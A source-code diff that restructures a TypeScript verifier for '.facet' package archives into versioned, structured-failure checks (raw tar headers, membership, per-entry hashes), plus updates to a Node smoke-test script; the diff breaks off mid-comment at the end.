@@ -19,10 +19,10 @@ export type { ArchivePlanInput, ArchivePlanResult, } from './build/archive-plan.ts' -export { planArchiveEntries, validateSupplementaryPath } from './build/archive-plan.ts' +export { planArchiveEntries, portableCollisionKey, validateSupplementaryPath } from './build/archive-plan.ts' // content hashing + archive format (deterministic tar layout, hash format, // constants — all part of the integrity contract) -export type { ArchiveEntry } from './build/content-hash.ts' +export type { ArchiveEntry, FacetArchiveParseFailure, ParseFacetArchiveResult } from './build/content-hash.ts' export { assembleOuterTar, assembleTar, @@ -37,10 +37,21 @@ export { } from './build/content-hash.ts' // build validators (artifact-rule checks) export { detectNamingCollisions } from './build/detect-collisions.ts' +// strict raw tar-header validation (design D5) — applied to both archive +// layers before any path-keyed selection. +export type { + RawTarEntry, + RawTarError, + RawTarErrorCode, + RawTarValidationOptions, + RawTarValidationResult, +} from './build/tar-headers.ts' +export { validateRawTarEntries } from './build/tar-headers.ts' export { validateContentFiles } from './build/validate-content.ts' export { validateCompactFacets } from './build/validate-facets.ts' // integrity export type { + ArchiveVerificationFailure, AssetIntegrityFailure, FacetIntegrityCheck, FacetIntegrityFailure, @@ -50,11 +61,15 @@ export type { IntegrityFailure, IntegrityResult, RegistryIntegrityInput, - VerifiedArchive, + ValidateFacetArchiveResult, VerifiedAsset, + VerifiedEntry, + VerifiedFacetArchive, } from './integrity/index.ts' export { + listVerifiedFiles, validateFacetArchive, + verifiedFileHashes, verifyGitOneCheck, verifyHash, verifyLockfileOneCheck, diff --git a/packages/protocol/src/integrity/index.ts b/packages/protocol/src/integrity/index.ts index 08a54477..56ab1aa0 100644 --- a/packages/protocol/src/integrity/index.ts +++ b/packages/protocol/src/integrity/index.ts @@ -7,6 +7,14 @@ export type { IntegrityResult, RegistryIntegrityInput, } from './types.ts' -export type { GunzipFn, GunzipResult, VerifiedArchive, VerifiedAsset } from './validate-archive.ts' -export { validateFacetArchive } from './validate-archive.ts' +export type { + ArchiveVerificationFailure, + GunzipFn, + GunzipResult, + ValidateFacetArchiveResult, + VerifiedAsset, + VerifiedEntry, + VerifiedFacetArchive, +} from './validate-archive.ts' +export { listVerifiedFiles, validateFacetArchive, verifiedFileHashes } from './validate-archive.ts' export { verifyGitOneCheck, verifyHash, verifyLockfileOneCheck, verifyRegistryThreeCheck } from './verify.ts' diff --git a/packages/protocol/src/integrity/validate-archive.ts b/packages/protocol/src/integrity/validate-archive.ts index c3f8c057..d1eea79b 100644 --- a/packages/protocol/src/integrity/validate-archive.ts +++ b/packages/protocol/src/integrity/validate-archive.ts @@ -1,11 +1,21 @@ -import { type Validated, type ValidationError, validateAssetName } from '@agent-facets/common' +import { type AssetType, type ValidationError, validateAssetName } from '@agent-facets/common' +import { planArchiveEntries } from '../build/archive-plan.ts' import { computeContentHash, INNER_ARCHIVE_NAME, parseFacetArchive, parseInnerArchive } from '../build/content-hash.ts' import { detectNamingCollisions } from '../build/detect-collisions.ts' +import { validateRawTarEntries } from '../build/tar-headers.ts' import { validateContentFiles } from '../build/validate-content.ts' import { validateCompactFacets } from '../build/validate-facets.ts' -import { FACET_MANIFEST_FILE, resolvePromptsFromMap, validateLegacyFacetManifest } from '../loaders/facet.ts' -import type { BuildManifest } from '../schemas/build-manifest.ts' +import { + FACET_MANIFEST_FILE, + resolvePromptsFromMap, + validateFacetManifest, + validateLegacyFacetManifest, +} from '../loaders/facet.ts' +import type { CurrentBuildManifest, LegacyBuildManifest } from '../schemas/build-manifest.ts' +import { FACET_ARCHIVE_VERSION, LEGACY_FACET_ARCHIVE_VERSION } from '../schemas/build-manifest.ts' import type { FacetManifest } from '../schemas/facet-manifest.ts' +import type { LegacyFacetManifest } from '../schemas/facet-manifest-legacy.ts' +import type { AssetIntegrityFailure, FacetIntegrityFailure } from './types.ts' import { verifyHash } from './verify.ts' /** @@ -33,15 +43,9 @@ export type GunzipResult = { ok: true; bytes: Uint8Array } | { ok: false; reason export type GunzipFn = (innerGzBytes: Uint8Array) => Promise /** - * A single per-asset entry the verifier extracted and verified from the - * inner archive. - * - * - `path` — the in-archive path (e.g. `'facet.json'`, - * `'skills/foo/SKILL.md'`). - * - `bytes` — the uncompressed contents of the entry. - * - `hash` — the recomputed content hash of `bytes`, already confirmed - * to equal the build manifest's `assets[path]`. This struct only - * appears on the success branch. + * A single verified file from the inner archive: in-archive path, raw + * uncompressed bytes, and the recomputed content hash already confirmed to + * equal the version-selected hash map's value for that path. */ export interface VerifiedAsset { path: string @@ -50,135 +54,228 @@ export interface VerifiedAsset { } /** - * The fully verified contents of a built `.facet`. + * One verified inner-archive entry of a current (`0.2`) archive, tagged + * with its archive-plan classification (design D6). Supplementary content + * stays opaque bytes; only primary assets carry decoded text eligible for + * asset processing. + */ +export type VerifiedEntry = + | { kind: 'manifest'; path: string; bytes: Uint8Array; hash: string } + | { + kind: 'primary-asset' + path: string + assetType: AssetType + name: string + bytes: Uint8Array + text: string + hash: string + } + | { kind: 'skill-companion'; path: string; skill: string; bytes: Uint8Array; hash: string } + | { kind: 'archive-only'; path: string; bytes: Uint8Array; hash: string } + +/** + * The fully verified contents of a built `.facet`, tagged by exact archive + * format version so consumers dispatch exhaustively (design D4/D6). * - * Carries the parsed `build-manifest.json`, the parsed embedded - * `facet.json`, and the per-asset entries (with bytes + recomputed - * hashes). Consumers use these to address an upload (CLI), persist - * package metadata + asset bytes (registry), or both. + * - Legacy `0.1` archives keep their flat `assets` list (identical to the + * pre-`0.2` verifier output). + * - Current `0.2` archives expose classified entries: primary assets as + * text, skill companions grouped with their owning skill via the + * `skill` tag, and archive-only supplementary files as opaque bytes. + */ +export type VerifiedFacetArchive = + | { + archiveVersion: typeof LEGACY_FACET_ARCHIVE_VERSION + buildManifest: LegacyBuildManifest + facetManifest: LegacyFacetManifest + assets: VerifiedAsset[] + } + | { + archiveVersion: typeof FACET_ARCHIVE_VERSION + buildManifest: CurrentBuildManifest + facetManifest: FacetManifest + entries: VerifiedEntry[] + } + +/** + * Uniform extraction view over a verified archive: every inner-archive + * file with its bytes and verified hash, regardless of format version or + * classification. Consumers that persist archives to disk (registry + * download, cache staging) use this instead of branching per version. */ -export interface VerifiedArchive { - buildManifest: BuildManifest - facetManifest: FacetManifest - assets: VerifiedAsset[] +export function listVerifiedFiles(archive: VerifiedFacetArchive): VerifiedAsset[] { + if (archive.archiveVersion === LEGACY_FACET_ARCHIVE_VERSION) { + return archive.assets + } + return archive.entries.map((entry) => ({ path: entry.path, bytes: entry.bytes, hash: entry.hash })) } /** - * Verify a built `.facet` end-to-end. Returns `Validated`. - * - * The single archive-verification operation any facet-compatible system - * uses to verify the bytes of a built `.facet` before treating it as - * trusted. Both the CLI (`facet publish`) and the registry adopt this - * function; neither stringing together lower-level primitives by hand. - * - * Order of checks (each step short-circuits to a `Validated` failure on - * error; no step throws): + * The version-selected per-entry hash map of a verified archive + * (`assets` for legacy `0.1`, `files` for current `0.2`). + */ +export function verifiedFileHashes(archive: VerifiedFacetArchive): Record { + return archive.archiveVersion === LEGACY_FACET_ARCHIVE_VERSION + ? archive.buildManifest.assets + : archive.buildManifest.files +} + +/** + * Structured failure data for archive verification. Every expected failure + * mode is a tagged variant — no thrown errors escape the contract. + */ +export type ArchiveVerificationFailure = + /** The outer container is malformed (raw headers, entry set, unparseable tar). */ + | { code: 'container'; errors: ValidationError[] } + /** The build manifest is not valid JSON. */ + | { code: 'invalid-json'; errors: ValidationError[] } + /** A JSON artifact contains duplicate object member names. */ + | { code: 'duplicate-members'; errors: ValidationError[] } + /** The archive declares an unsupported `facetVersion`. Carries observed + supported. */ + | { code: 'unsupported-facet-version'; observed: number | undefined; supported: readonly number[] } + /** The build manifest declared a supported version but violates that version's schema. */ + | { code: 'schema-violation'; facetVersion: number; errors: ValidationError[] } + /** The caller-supplied decompressor refused the inner archive. */ + | { code: 'decompression'; reason: 'too-large' | 'corrupt' } + /** The recomputed inner-tar hash does not match the manifest's integrity (check C). */ + | { code: 'integrity'; failure: FacetIntegrityFailure } + /** One or more entries failed their recorded per-entry hash. Exact paths included. */ + | { code: 'entry-integrity'; failures: AssetIntegrityFailure[] } + /** Membership, path-safety, manifest, or content-rule violations. */ + | { code: 'validation'; errors: ValidationError[] } + +export type ValidateFacetArchiveResult = + | { ok: true; data: VerifiedFacetArchive } + | { ok: false; failure: ArchiveVerificationFailure } + +/** + * Sentinel facet label used in integrity failures raised before the + * embedded manifest (and therefore the facet name) has been validated. + */ +const ARCHIVE_FACET_LABEL = '' + +/** + * Verify a built `.facet` end-to-end — the single archive-verification + * operation any facet-compatible system uses before trusting `.facet` + * bytes (registry uploads, CLI publish, install downloads). * - * 1. Parse the outer tar via `parseFacetArchive` — yields the - * validated `build-manifest.json` and the still-gzipped - * `innerArchiveBytes`. Failures: malformed outer container, - * missing entry, invalid build-manifest JSON, build-manifest schema - * violation. - * 2. Decompress `innerArchiveBytes` via the injected `gunzip`. - * Failures: `'too-large'` (decompressor refused, e.g. gzip-bomb - * cap) or `'corrupt'` (inflate error, truncated stream). - * 3. Compute the content hash of the gunzipped inner tar and verify - * it equals `buildManifest.integrity` (check `'C'`, via - * `verifyHash`). Failure surfaces as a `ValidationError` rooted at - * `INNER_ARCHIVE_NAME`. - * 4. Parse the inner tar via `parseInnerArchive` → entries. Failures: - * malformed inner tar. - * 5. For each entry: recompute its hash and verify it equals - * `buildManifest.assets[entry.path]`. Detect any entry missing - * from `assets`, and any asset key with no matching entry. - * Failures surface as one `ValidationError` per asset, rooted at - * the in-archive path. - * 6. Locate the inner archive's `facet.json` entry and validate it - * against the legacy `0.1` facet-manifest schema (via - * `validateLegacyFacetManifest`) — this verifier currently handles - * only legacy `0.1` archives, which retain legacy asset-name and - * namespace rules during the compatibility window (design D9). - * Failures surface unchanged, with their `path` re-rooted at - * `FACET_MANIFEST_FILE`. - * 7. Reconstruct a `ResolvedFacetManifest` from the inner-tar entries - * (using `resolvePromptsFromMap`) and run the build validators - * (`validateContentFiles`, `detectNamingCollisions`, - * `validateCompactFacets`). Adapter-metadata validation is - * deliberately skipped — verification confirms the captured bytes - * are intact, not that the publisher's adapter code would still - * produce them today. + * Pipeline (design D5; each step short-circuits to a structured failure; + * no step throws): * - * NEVER throws — every failure mode is part of the `Validated<>` - * contract. + * 1. Strict outer-container parse (`parseFacetArchive`): raw tar-header + * validation before either entry is selected, exact two-entry set, + * versioned build-manifest parse with exact `facetVersion` dispatch + * and duplicate-JSON-member rejection. Unsupported versions surface + * as structured `unsupported-facet-version` failures; a malformed + * current manifest is NEVER reinterpreted under the legacy schema. + * 2. Decompress the inner archive via the injected `gunzip`. + * 3. Verify the recomputed inner-tar hash equals the manifest's + * `integrity` (check `'C'`). + * 4. Raw-header validation of the inner tar (duplicates, portable + * aliases, non-regular entries, non-canonical paths) before any + * path-keyed structure exists — for BOTH format versions. + * 5. Version-dispatched content verification: + * - `0.1` (legacy, frozen): per-asset hash reconciliation against + * `assets`, legacy facet-manifest schema, legacy conventional + * outer-exclusivity allowlist, legacy content rules. + * - `0.2` (current): embedded manifest validated under current + * rules; expected membership derived from the shared archive + * plan (design D3); exact three-way set equality among expected + * paths, observed entries, and the `files` hash-map keys; every + * entry byte-verified; entries returned as tagged data with + * supplementary content kept as opaque bytes. */ export async function validateFacetArchive( outerTarBytes: Uint8Array, options: { gunzip: GunzipFn }, -): Promise> { - // Step 1: parse outer tar (yields build manifest + still-gzipped inner bytes) +): Promise { + // Step 1: strict outer-container parse + versioned build-manifest parse const outerResult = parseFacetArchive(outerTarBytes) if (!outerResult.ok) { - return outerResult + return { ok: false, failure: outerResult.failure } } - const { buildManifest, innerArchiveBytes } = outerResult.data + const { manifest: parsedManifest, innerArchiveBytes } = outerResult.data // Step 2: decompress inner archive via injected gunzip const gunzipResult = await options.gunzip(innerArchiveBytes) if (!gunzipResult.ok) { - const message = - gunzipResult.reason === 'too-large' - ? `Decompressor refused: inner archive exceeds the caller's allowed decompressed size.` - : `Decompressor refused: inner archive is not valid gzip (corrupt or truncated).` - return { - ok: false, - errors: [ - { - path: INNER_ARCHIVE_NAME, - message, - expected: 'gzip within the caller-allowed size limit for decompression', - actual: gunzipResult.reason, - }, - ], - } + return { ok: false, failure: { code: 'decompression', reason: gunzipResult.reason } } } const innerTarBytes = gunzipResult.bytes // Step 3: verify recomputed content hash equals build manifest's integrity const computedIntegrity = computeContentHash(innerTarBytes) - const integrityResult = verifyHash(buildManifest.archive, 'C', buildManifest.integrity, computedIntegrity) + const integrityResult = verifyHash(ARCHIVE_FACET_LABEL, 'C', parsedManifest.manifest.integrity, computedIntegrity) if (!integrityResult.ok) { - return { - ok: false, - errors: [ - { - path: INNER_ARCHIVE_NAME, - message: `Inner archive content hash does not match the build manifest's integrity value.`, - expected: integrityResult.failure.expected, - actual: integrityResult.failure.observed, + // verifyHash only produces facet-kind failures for check 'C'. + if (integrityResult.failure.kind !== 'facet') { + return { + ok: false, + failure: { + code: 'integrity', + failure: { + kind: 'facet', + facet: ARCHIVE_FACET_LABEL, + check: 'C', + expected: parsedManifest.manifest.integrity, + observed: computedIntegrity, + }, }, - ], + } } + return { ok: false, failure: { code: 'integrity', failure: integrityResult.failure } } + } + + // Step 4: raw-header validation of the inner tar, before any path-keyed + // structure. Applies to both versions — a canonical legacy archive can + // never contain duplicates, aliases, or non-regular entries either. + // + // Canonical ordering is enforced here (but NOT on the outer container): + // the cache/registry recompute path rebuilds the inner tar from + // lexicographically sorted entries, so an out-of-order archive that is + // otherwise hash-correct would pass verification but fail installation + // when the reconstructed tar hashes differently. Rejecting non-canonical + // order keeps "verified" and "installable" the same set. + const rawInner = validateRawTarEntries(innerTarBytes, INNER_ARCHIVE_NAME, { enforceCanonicalOrder: true }) + if (!rawInner.ok) { + return { ok: false, failure: { code: 'validation', errors: rawInner.errors } } } - // Step 4: parse inner tar into entries + // Parse the (now raw-validated) inner tar into data-bearing entries. const innerResult = parseInnerArchive(innerTarBytes) if (!innerResult.ok) { - // parseInnerArchive roots errors at '' (the inner archive is the unit - // being parsed). Re-root at INNER_ARCHIVE_NAME so callers can - // disambiguate from per-asset errors (which are rooted at in-archive - // paths). return { ok: false, - errors: innerResult.errors.map((e) => ({ ...e, path: INNER_ARCHIVE_NAME })), + failure: { code: 'validation', errors: innerResult.errors.map((e) => ({ ...e, path: INNER_ARCHIVE_NAME })) }, } } - const innerEntries = innerResult.entries + // Raw validation guarantees unique canonical paths — this map is lossless. + const bytesByPath = new Map() + for (const entry of innerResult.entries) { + const bytes: Uint8Array = + entry.data instanceof Uint8Array ? entry.data : entry.data ? new Uint8Array(entry.data) : new Uint8Array(0) + bytesByPath.set(entry.name, bytes) + } + + // Step 5: version-dispatched content verification. No cross-version + // fallback: a malformed current archive fails under current rules. + if (parsedManifest.facetVersion === LEGACY_FACET_ARCHIVE_VERSION) { + return verifyLegacyContents(parsedManifest.manifest, bytesByPath) + } + return verifyCurrentContents(parsedManifest.manifest, bytesByPath) +} - // Step 4b: validate all path names are safe before reconciliation. - // Defense-in-depth: reject traversal paths (../, absolute, backslash) - // in both the build manifest's asset keys and the inner tar's entry - // names before any hashing work. A malicious archive that smuggles an - // unsafe path through either channel is stopped here. +/** + * Legacy `0.1` content verification — frozen at the pre-`0.2` rules + * (multi-segment names, conventional-path outer exclusivity, per-asset + * `assets` hash map, empty-content rule for every entry). + */ +function verifyLegacyContents( + buildManifest: LegacyBuildManifest, + bytesByPath: Map, +): ValidateFacetArchiveResult { + // Legacy Step 4b: weak path-safety guard over the build manifest's asset + // keys (entry names are already raw-validated as canonical). const pathSafetyErrors: ValidationError[] = [] for (const key of Object.keys(buildManifest.assets)) { const check = validateAssetName(key) @@ -191,41 +288,18 @@ export async function validateFacetArchive( }) } } - for (const entry of innerEntries) { - const check = validateAssetName(entry.name) - if (!check.ok) { - pathSafetyErrors.push({ - path: entry.name, - message: `Inner archive entry name fails path safety validation: ${check.reason}`, - expected: 'safe relative path', - actual: entry.name, - }) - } - } if (pathSafetyErrors.length > 0) { - return { ok: false, errors: pathSafetyErrors } + return { ok: false, failure: { code: 'validation', errors: pathSafetyErrors } } } - // Step 5: per-asset hash reconciliation - const assetErrors: ValidationError[] = [] + // Legacy Step 5: per-asset hash reconciliation, both directions. + const membershipErrors: ValidationError[] = [] + const hashFailures: AssetIntegrityFailure[] = [] const verifiedAssets: VerifiedAsset[] = [] - const declaredAssets = new Set(Object.keys(buildManifest.assets)) - const observedPaths = new Set() - - for (const entry of innerEntries) { - const path = entry.name - // `nanotar` returns `data: undefined` for zero-byte file entries (we - // verified this against the installed version). Treat undefined as - // an empty payload so that an empty-but-declared asset is detected - // by the per-asset hash check and the content-rule validator at - // Step 7 — not silently dropped as if it were a directory marker. - const bytes: Uint8Array = - entry.data instanceof Uint8Array ? entry.data : entry.data ? new Uint8Array(entry.data) : new Uint8Array(0) - observedPaths.add(path) - const observedHash = computeContentHash(bytes) + for (const [path, bytes] of bytesByPath) { const expectedHash = buildManifest.assets[path] if (expectedHash === undefined) { - assetErrors.push({ + membershipErrors.push({ path, message: `Inner archive contains an undeclared entry: not present in build manifest's assets map.`, expected: 'declared in build manifest', @@ -233,21 +307,22 @@ export async function validateFacetArchive( }) continue } + const observedHash = computeContentHash(bytes) if (expectedHash !== observedHash) { - assetErrors.push({ + hashFailures.push({ + kind: 'asset', + facet: ARCHIVE_FACET_LABEL, path, - message: `Asset content hash does not match the build manifest's recorded hash.`, expected: expectedHash, - actual: observedHash, + observed: observedHash, }) continue } verifiedAssets.push({ path, bytes, hash: observedHash }) } - - for (const declared of declaredAssets) { - if (!observedPaths.has(declared)) { - assetErrors.push({ + for (const declared of Object.keys(buildManifest.assets)) { + if (!bytesByPath.has(declared)) { + membershipErrors.push({ path: declared, message: `Asset declared in the build manifest is missing from the inner archive.`, expected: 'present in inner archive', @@ -255,45 +330,51 @@ export async function validateFacetArchive( }) } } - - if (assetErrors.length > 0) { - return { ok: false, errors: assetErrors } + if (membershipErrors.length > 0) { + return { ok: false, failure: { code: 'validation', errors: membershipErrors } } + } + if (hashFailures.length > 0) { + return { ok: false, failure: { code: 'entry-integrity', failures: hashFailures } } } - // Step 6: validate embedded facet.json against the facet-manifest schema - const facetManifestAsset = verifiedAssets.find((a) => a.path === FACET_MANIFEST_FILE) - if (!facetManifestAsset) { + // Legacy Step 6: embedded facet.json under the frozen legacy schema. + const manifestBytes = bytesByPath.get(FACET_MANIFEST_FILE) + if (manifestBytes === undefined) { return { ok: false, - errors: [ - { - path: FACET_MANIFEST_FILE, - message: `Inner archive is missing the embedded ${FACET_MANIFEST_FILE} entry.`, - expected: `${FACET_MANIFEST_FILE} present in inner archive`, - actual: 'missing', - }, - ], + failure: { + code: 'validation', + errors: [ + { + path: FACET_MANIFEST_FILE, + message: `Inner archive is missing the embedded ${FACET_MANIFEST_FILE} entry.`, + expected: `${FACET_MANIFEST_FILE} present in inner archive`, + actual: 'missing', + }, + ], + }, } } - const facetResult = validateLegacyFacetManifest(facetManifestAsset.bytes) + const facetResult = validateLegacyFacetManifest(manifestBytes) if (!facetResult.ok) { return { ok: false, - errors: facetResult.errors.map((e) => ({ - ...e, - path: e.path ? `${FACET_MANIFEST_FILE}.${e.path}` : FACET_MANIFEST_FILE, - })), + failure: { + code: 'validation', + errors: facetResult.errors.map((e) => ({ + ...e, + path: e.path ? `${FACET_MANIFEST_FILE}.${e.path}` : FACET_MANIFEST_FILE, + })), + }, } } const facetManifest = facetResult.data - // Step 6b: outer-exclusivity — reject inner-tar entries not derivable - // from the embedded facet.json. The build manifest is attacker-controlled - // so Step 5's "declared in build manifest" check is insufficient; the - // facet manifest is the trust root. A malicious archive that passes - // Steps 1–6 but contains extra files (e.g. a binary whose execution - // the skill prompt requests) would land on disk at install time, - // enabling supply-chain code execution. + // Legacy Step 6b: outer-exclusivity against the conventional-path + // allowlist derived from the embedded facet.json (the trust root). The + // build manifest is attacker-controlled, so Step 5's "declared in build + // manifest" check is insufficient — extra files landing on disk at + // install time would enable supply-chain code execution. const allowedPaths = new Set([FACET_MANIFEST_FILE]) if (facetManifest.skills) { for (const name of Object.keys(facetManifest.skills)) { @@ -314,16 +395,19 @@ export async function validateFacetArchive( if (extraPaths.length > 0) { return { ok: false, - errors: extraPaths.map((a) => ({ - path: a.path, - message: `Inner archive contains a file not declared by ${FACET_MANIFEST_FILE}. Only conventional asset paths (skills, agents, commands) and ${FACET_MANIFEST_FILE} are permitted.`, - expected: 'path derivable from facet.json', - actual: 'undeclared extra file', - })), + failure: { + code: 'validation', + errors: extraPaths.map((a) => ({ + path: a.path, + message: `Inner archive contains a file not declared by ${FACET_MANIFEST_FILE}. Only conventional asset paths (skills, agents, commands) and ${FACET_MANIFEST_FILE} are permitted.`, + expected: 'path derivable from facet.json', + actual: 'undeclared extra file', + })), + }, } } - // Step 7: reconstruct ResolvedFacetManifest and run build validators + // Legacy Step 7: reconstruct ResolvedFacetManifest and run build validators. const contentByPath: Record = {} const decoder = new TextDecoder() for (const asset of verifiedAssets) { @@ -331,22 +415,220 @@ export async function validateFacetArchive( } const resolvedResult = resolvePromptsFromMap(facetManifest, contentByPath) if (!resolvedResult.ok) { - return resolvedResult + return { ok: false, failure: { code: 'validation', errors: resolvedResult.errors } } } - const contentErrors = validateContentFiles(resolvedResult.data) - const collisionErrors = detectNamingCollisions(facetManifest) - const compactFacetsErrors = validateCompactFacets(facetManifest) - const ruleErrors = [...contentErrors, ...collisionErrors, ...compactFacetsErrors] + const ruleErrors = [ + ...validateContentFiles(resolvedResult.data), + ...detectNamingCollisions(facetManifest), + ...validateCompactFacets(facetManifest), + ] if (ruleErrors.length > 0) { - return { ok: false, errors: ruleErrors } + return { ok: false, failure: { code: 'validation', errors: ruleErrors } } } return { ok: true, data: { + archiveVersion: LEGACY_FACET_ARCHIVE_VERSION, buildManifest, facetManifest, assets: verifiedAssets, }, } } + +/** + * Current `0.2` content verification: the embedded manifest is validated + * under current rules, expected membership is derived from the shared + * archive plan (design D3), and the expected set, observed set, and + * `files` hash-map key set must be exactly equal before every entry is + * byte-verified. The successful result carries tagged entries with + * supplementary content kept as opaque bytes (design D6). + */ +function verifyCurrentContents( + buildManifest: CurrentBuildManifest, + bytesByPath: Map, +): ValidateFacetArchiveResult { + // Embedded facet.json under the current schema (includes duplicate-JSON- + // member rejection, single-segment names, shared skill/command namespace, + // and archive-plan-backed declaration validation via the schema narrow). + const manifestBytes = bytesByPath.get(FACET_MANIFEST_FILE) + if (manifestBytes === undefined) { + return { + ok: false, + failure: { + code: 'validation', + errors: [ + { + path: FACET_MANIFEST_FILE, + message: `Inner archive is missing the embedded ${FACET_MANIFEST_FILE} entry.`, + expected: `${FACET_MANIFEST_FILE} present in inner archive`, + actual: 'missing', + }, + ], + }, + } + } + const facetResult = validateFacetManifest(manifestBytes) + if (!facetResult.ok) { + return { + ok: false, + failure: { + code: 'validation', + errors: facetResult.errors.map((e) => ({ + ...e, + path: e.path ? `${FACET_MANIFEST_FILE}.${e.path}` : FACET_MANIFEST_FILE, + })), + }, + } + } + const facetManifest = facetResult.data + + // Expected membership comes from the shared archive plan — NEVER from + // the build manifest, which is attacker-controlled (design D3/D5). + const planResult = planArchiveEntries(facetManifest) + if (!planResult.ok) { + return { + ok: false, + failure: { + code: 'validation', + errors: planResult.errors.map((e) => ({ + ...e, + path: e.path ? `${FACET_MANIFEST_FILE}.${e.path}` : FACET_MANIFEST_FILE, + })), + }, + } + } + const plan = planResult.data + const expectedPaths = new Set(plan.map((entry) => entry.path)) + + // Exact three-way set equality: expected (plan) == observed (inner tar) + // == files hash-map keys. Undeclared extras, declared-but-missing + // entries, and hash-map drift are each identified by exact path. + const membershipErrors: ValidationError[] = [] + for (const path of bytesByPath.keys()) { + if (!expectedPaths.has(path)) { + membershipErrors.push({ + path, + message: `Inner archive contains a file not derivable from ${FACET_MANIFEST_FILE}. Every entry must be a conventional asset path or an exact supplementary declaration.`, + expected: 'path derivable from facet.json', + actual: 'undeclared extra file', + }) + } + } + for (const path of expectedPaths) { + if (!bytesByPath.has(path)) { + membershipErrors.push({ + path, + message: `Entry derivable from ${FACET_MANIFEST_FILE} is missing from the inner archive.`, + expected: 'present in inner archive', + actual: 'missing', + }) + } + } + const fileHashes = buildManifest.files + for (const path of Object.keys(fileHashes)) { + if (!expectedPaths.has(path)) { + membershipErrors.push({ + path, + message: `Build manifest records a hash for a path not derivable from ${FACET_MANIFEST_FILE}. A build-manifest record cannot expand archive membership.`, + expected: 'hashes only for derivable paths', + actual: 'hash for undeclared path', + }) + } + } + for (const path of expectedPaths) { + if (fileHashes[path] === undefined) { + membershipErrors.push({ + path, + message: `Build manifest is missing the required file hash for this entry.`, + expected: 'one hash per expected path', + actual: 'missing hash', + }) + } + } + if (membershipErrors.length > 0) { + return { ok: false, failure: { code: 'validation', errors: membershipErrors } } + } + + // Byte-verify every entry against its recorded hash. + const hashFailures: AssetIntegrityFailure[] = [] + const hashByPath = new Map() + for (const [path, bytes] of bytesByPath) { + const observedHash = computeContentHash(bytes) + const expectedHash = fileHashes[path] as string + if (observedHash !== expectedHash) { + hashFailures.push({ + kind: 'asset', + facet: facetManifest.name, + path, + expected: expectedHash, + observed: observedHash, + }) + continue + } + hashByPath.set(path, observedHash) + } + if (hashFailures.length > 0) { + return { ok: false, failure: { code: 'entry-integrity', failures: hashFailures } } + } + + // Classify entries per the plan; decode ONLY primary assets as text. + const decoder = new TextDecoder() + const entries: VerifiedEntry[] = [] + const contentByPath: Record = {} + for (const planned of plan) { + const bytes = bytesByPath.get(planned.path) as Uint8Array + const hash = hashByPath.get(planned.path) as string + switch (planned.kind) { + case 'manifest': + entries.push({ kind: 'manifest', path: planned.path, bytes, hash }) + break + case 'primary-asset': { + const text = decoder.decode(bytes) + contentByPath[planned.path] = text + entries.push({ + kind: 'primary-asset', + path: planned.path, + assetType: planned.assetType, + name: planned.name, + bytes, + text, + hash, + }) + break + } + case 'skill-companion': + entries.push({ kind: 'skill-companion', path: planned.path, skill: planned.skill, bytes, hash }) + break + case 'archive-only': + entries.push({ kind: 'archive-only', path: planned.path, bytes, hash }) + break + default: { + const unreachable: never = planned + throw new Error(`unreachable archive-plan kind: ${JSON.stringify(unreachable)}`) + } + } + } + + // Content rules apply to primary assets only (design D6): supplementary + // files may be empty or binary and are never decoded here. + const resolvedResult = resolvePromptsFromMap(facetManifest, contentByPath) + if (!resolvedResult.ok) { + return { ok: false, failure: { code: 'validation', errors: resolvedResult.errors } } + } + const ruleErrors = [...validateContentFiles(resolvedResult.data), ...validateCompactFacets(facetManifest)] + if (ruleErrors.length > 0) { + return { ok: false, failure: { code: 'validation', errors: ruleErrors } } + } + + return { + ok: true, + data: { + archiveVersion: FACET_ARCHIVE_VERSION, + buildManifest, + facetManifest, + entries, + }, + } +} diff --git a/scripts/smoke/protocol-node.mjs b/scripts/smoke/protocol-node.mjs index 7e05e530..a7c93833 100644 --- a/scripts/smoke/protocol-node.mjs +++ b/scripts/smoke/protocol-node.mjs @@ -8,6 +8,11 @@ * - computeContentHash determinism * - assembleTar producing deterministic bytes * - parseFacetArchive round-trip on a freshly-assembled outer tar + * - parseBuildManifestDocument / parseLockfileDocument exact version dispatch + * - validateRawTarEntries raw-header validation + * - planArchiveEntries membership/classification + * - validateFacetArchive end-to-end on a 0.2 archive (async, node:zlib gunzip) + * - listVerifiedFiles / verifiedFileHashes uniform views * * Run from the repo root after `bun run --cwd packages/protocol build`: * @@ -29,9 +34,16 @@ import { computeAssetHashes, computeContentHash, detectNamingCollisions, + listVerifiedFiles, + parseBuildManifestDocument, parseFacetArchive, + parseLockfileDocument, + planArchiveEntries, resolvePromptsFromMap, + validateFacetArchive, validateFacetManifest, + validateRawTarEntries, + verifiedFileHashes, } from '../../packages/protocol/dist/index.mjs' let pass = 0 @@ -49,6 +61,31 @@ function check(name, fn) { } } +async function checkAsync(name, fn) { + try { + await fn() + pass++ + console.log(` ✓ ${name}`) + } catch (err) { + fail++ + console.error(` ✗ ${name}`) + console.error(` ${err.message}`) + } +} + +/** + * Node-native `GunzipFn` for `validateFacetArchive`: the protocol does no + * decompression itself, so each consumer injects its own. This mirrors what + * the registry and CLI supply, using `node:zlib` with no Bun present. + */ +async function nodeGunzip(innerGzBytes) { + try { + return { ok: true, bytes: new Uint8Array(gunzipSync(innerGzBytes)) } + } catch { + return { ok: false, reason: 'corrupt' } + } +} + console.log('node version:', process.version) console.log('bun?', typeof globalThis.Bun) console.log('') @@ -71,7 +108,7 @@ check('accepts a valid manifest from bytes', () => { }) check('accepts a valid manifest from a string', () => { - const result = validateFacetManifest('{"name":"s","version":"1.0.0","skills":{"a":{"description":"x"}}}') + const result = validateFacetManifest('{"name":"smoke","version":"1.0.0","skills":{"greeter":{"description":"x"}}}') assert(result.ok) }) @@ -141,9 +178,11 @@ check('assembleTar produces deterministic bytes', () => { check('parseFacetArchive recovers the embedded build manifest', () => { const result = parseFacetArchive(outerTar) assert(result.ok, 'expected ok=true on a well-formed archive') - assert.equal(result.data.buildManifest.facetVersion, 0.1) - assert.equal(result.data.buildManifest.integrity, integrity) - assert.equal(result.data.buildManifest.archive, 'archive.tar.gz') + // Tagged result shape: `data.manifest` is `{ facetVersion, manifest }`. + const parsed = result.data.manifest + assert.equal(parsed.facetVersion, 0.1) + assert.equal(parsed.manifest.integrity, integrity) + assert.equal(parsed.manifest.archive, 'archive.tar.gz') }) check('parseFacetArchive yields gunzippable inner archive bytes', () => { @@ -160,9 +199,13 @@ check('parseFacetArchive returns ok=false on a malformed archive', () => { const badOuter = assembleOuterTar('{not valid json', compressed) const result = parseFacetArchive(badOuter) assert.equal(result.ok, false) - assert(Array.isArray(result.errors)) - assert(result.errors.length > 0) - assert.equal(result.errors[0].path, 'build-manifest.json') + // Tagged 